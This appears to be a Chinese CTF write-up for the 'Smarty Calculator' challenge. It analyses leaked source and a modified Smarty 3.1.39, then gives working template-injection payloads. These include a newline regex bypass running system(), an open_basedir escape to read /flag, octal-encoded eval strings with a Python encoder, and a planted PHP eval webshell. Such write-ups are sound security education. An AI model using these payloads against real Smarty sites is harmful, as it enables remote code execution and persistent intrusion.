Smarty Calculator
源码泄露
www.zip,源码泄露,分析index.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Smarty calculator</title>
</head>
<body background="img/1.jpg">
<div align="center">
<h1>Smarty calculator</h1>
</div>
<div style="width:100%;text-align:center">
<form action="" method="POST">
<input type="text" style="width:150px;height:30px" name="data" placeholder=" 输入值进行计算" value="">
<br>
<input type="submit" value="Submit">
</form>
</div>
</body>
</html>
<?php
error_reporting(0);
include_once('./Smarty/Smarty.class.php');
$smarty = new Smarty();
$my_security_policy = new Smarty_Security($smarty);
$my_security_policy->php_functions = null;
$my_security_policy->php_handling = Smarty::PHP_REMOVE;
$my_security_policy->php_modifiers = null;
$my_security_policy->static_classes = null;
$my_security_policy->allow_super_globals = false;
$my_security_policy->allow_constants = false;
$my_security_policy->allow_php_tag = false;
$my_security_policy->streams = null;
$my_security_policy->php_modifiers = null;
$smarty->enableSecurity($my_security_policy);
function waf($data){
$pattern = "php|\<|flag|\?";
$vpattern = explode("|", $pattern);
foreach ($vpattern as $value) {
//关键词过滤
if (preg_match("/$value/", $data)) {
echo("<div style='width:100%;text-align:center'><h5>Calculator don not like U<h5><br>");
die();
}
}
return $data;
}
if(isset($_POST['data'])){
//COOKIE中需要由login这个东西
if(isset($_COOKIE['login'])) {
$data = waf($_POST['data']);
echo "<div style='width:100%;text-align:center'><h5>Only smarty people can use calculators:<h5><br>";
$smarty->display("string:" . $data);
}else{
echo "<script>alert(\"你还没有登录\")</script>";
}
}
其中有waf()过滤了关键词,比如php flag < ?
还会对用户得cookie进行检测,需要在cookie中加个login:1
来进行绕过
然后会进入$smarty->display("string:" . $data);
版本号3.1.39
该版本有个漏洞
版本信息也可以在data处进行测试
data={$smarty.version}
有poc
{function+name='rce(){};system("id");function+'}{/function}
但是题目对输入值进行了正则过滤
源码对比
去github下载源文件https://github.com/smarty-php/smarty/releases/tag/v3.1.39
,和题目给得源码进行文件对比(代码对比我使用的是winmerge
,感谢开源)
发现sysplugins\smarty_internal_compile_function.php
有点不同,在正则过滤那块出题人进行了修改,如果正则匹配成功,就会进入trigger_template_error
函数,会导致不回显
我们来分析一下这个正则匹配的差异,在题目给出的源码中,将!
去掉,表示匹配成功即进入error;
然后a-zA-Z0-9_\x80-\xff
这些包含了正常的大小写字母,数字,下划线以及不可显字符;
而后面的(.*)+
中,.
匹配除了换行符
以外的所有字符,*
匹配0次或者多次,+
匹配一次或者多次
if (preg_match('/[a-zA-Z0-9_\x80-\xff](.*)+$/', $_name)) {
$compiler->trigger_template_error("Function name contains invalid characters: {$_name}", null, true);
}
所以可以换行绕过,%0A
既不在前面的[]
匹配里面,又不被后面的.
匹配
所以我们只需要在原来的poc基础上,加上回车绕过,即可执行(我这里用了两个回车进行绕过)
data={function+name='rce(){};system("id");function%0A%0A'}{/function}
查看phpinfo
但是不能直接cat flag,有可能是进行了限制,可以通过chdir()进行绕过
data={function+name='rce(){};system("id");@eval($_POST[1]);function%0A%0A'}{/function}&1=mkdir('sk1y');chdir('sk1y');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(file_get_contents('/flag'));
另一个解法:math的eval命令执行
注意function.math.php
这个文件,
首先将很多变量定义为true
然后接收了参数equation
,然后对这个参数进行了一些条件限制
重点看接下来的这个,有个eval
函数,eval函数辉执行我们传进去的equation
,但是这个经过了preg_match_all
正则匹配,我们可以通过8进制绕过
自己整个字符串转8进制的简单脚本,大佬勿喷
# python3.8
#str = '("file_put_contents")("1.php","<?php eval($_POST["a"]);?>")'
str = '("system")("whoami")'
string = ''
for i in str:
#print(i)
if i == '"':
string += '\\"'
continue
if i == '(':
string += '('
continue
if i == ')':
string += ')'
continue
if i == ',':
string += ','
continue
string += '\\\\' + oct(ord(i))[2:]
print(string)
尝试("system")("whoami")
,查看
file_put_contents写文件("file_put_contents")("1.php","<?php eval($_POST[1]);?>")
蚁剑连接
不过这个和官方wp的解法不一样,没有管open_basedir 和 disable_functions,应该是非预期吧